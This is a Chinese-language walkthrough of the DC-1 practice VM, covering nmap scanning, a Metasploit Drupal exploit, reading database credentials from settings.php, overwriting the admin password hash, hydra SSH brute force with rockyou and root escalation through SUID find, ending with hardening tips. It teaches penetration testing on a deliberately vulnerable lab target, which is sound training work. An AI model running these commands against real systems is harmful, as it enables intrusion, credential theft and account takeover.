DC-1靶机渗透
字数 1071 2025-08-12 11:34:03
DC-1靶机渗透实战教学文档
环境搭建
- 下载DC-1靶机镜像文件
- 在虚拟机软件(如VMware或VirtualBox)中加载该镜像
- 将靶机网络模式设置为NAT模式
- 启动靶机
信息收集阶段
网络扫描
-
使用nmap扫描C段,确定靶机IP地址:
nmap -Pn 192.168.207.0/24 -
对发现的靶机IP(示例为192.168.207.227)进行详细扫描:
nmap -sS -sV -sC -O 192.168.207.227-sS: TCP SYN扫描-sV: 服务版本探测-sC: 使用默认脚本扫描-O: 操作系统探测
-
扫描结果分析:
- 开放端口:22(SSH)、80(HTTP)、111(RPCbind)
- Web框架:Drupal 7
漏洞利用阶段
使用Metasploit框架
-
启动msfconsole:
msfconsole -q -
搜索Drupal相关漏洞:
search drupal -
选择漏洞利用模块:
- 选择Rank为"excellent"且年份最近的模块
- 示例中使用的是第二个模块:
use 2
-
配置攻击参数:
set RHOSTS 192.168.207.227 show options -
执行攻击:
exploit- 成功后会获得meterpreter会话
获取交互式shell
-
在meterpreter中获取shell:
shell -
升级为交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
获取flag1
- 在系统中查找flag1
- 根据flag1的提示,查找Drupal的配置文件
获取flag2
-
查看Drupal配置文件:
cat /sites/default/settings.php- 发现flag2
- 同时发现MySQL凭据:用户名
dbuser,密码R0ck3t
-
登录MySQL数据库:
mysql -u dbuser -pR0ck3t -
操作数据库:
use drupaldb; select * from users; desc users; -
修改管理员密码:
- 使用Drupal自带的加密脚本生成密码hash:
/var/www/scripts/password-hash.sh admin - 更新数据库中的管理员密码:
update drupaldb.users set pass="$S$Dh4KPBQOOmjtoV/.o.TbUaqBqAKcBUOOENjJRgyUPtzvEggJg7I/" where uid=1;
- 使用Drupal自带的加密脚本生成密码hash:
获取flag3
-
使用新密码(admin:admin)登录Drupal后台:
- 访问
http://192.168.207.227:80
- 访问
-
在Dashboard中发现flag3
-
查看系统用户:
cat /etc/passwd- 发现存在flag4用户
获取flag4
-
使用hydra爆破SSH服务:
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt -t 10 ssh://192.168.207.227- 爆破成功,密码为
orange
- 爆破成功,密码为
-
登录flag4账户:
ssh flag4@192.168.207.227 -
查看flag4:
cat /home/flag4/flag4.txt
权限提升
-
查找具有SUID权限的命令:
find / -perm -4000 2>/dev/null- 发现
find命令具有SUID权限
- 发现
-
利用find命令提权:
find /usr/bin/find -exec "/bin/sh" \;- 注意:使用
/bin/sh而不是/bin/bash
- 注意:使用
-
获取最终flag:
cat /root/thefinalflag.txt
关键点总结
- 信息收集要全面,特别是服务版本信息
- Drupal CMS是常见攻击面,要熟悉其漏洞利用方式
- 数据库凭证常存储在配置文件中
- 密码重置是获取后台访问的有效方法
- SUID权限检查是提权的重要途径
- 每个flag都提供了下一步的线索,要仔细阅读
安全建议
- 及时更新CMS系统
- 配置文件不应包含敏感信息或使用严格权限
- 避免使用弱密码
- 限制不必要的SUID权限
- 实施最小权限原则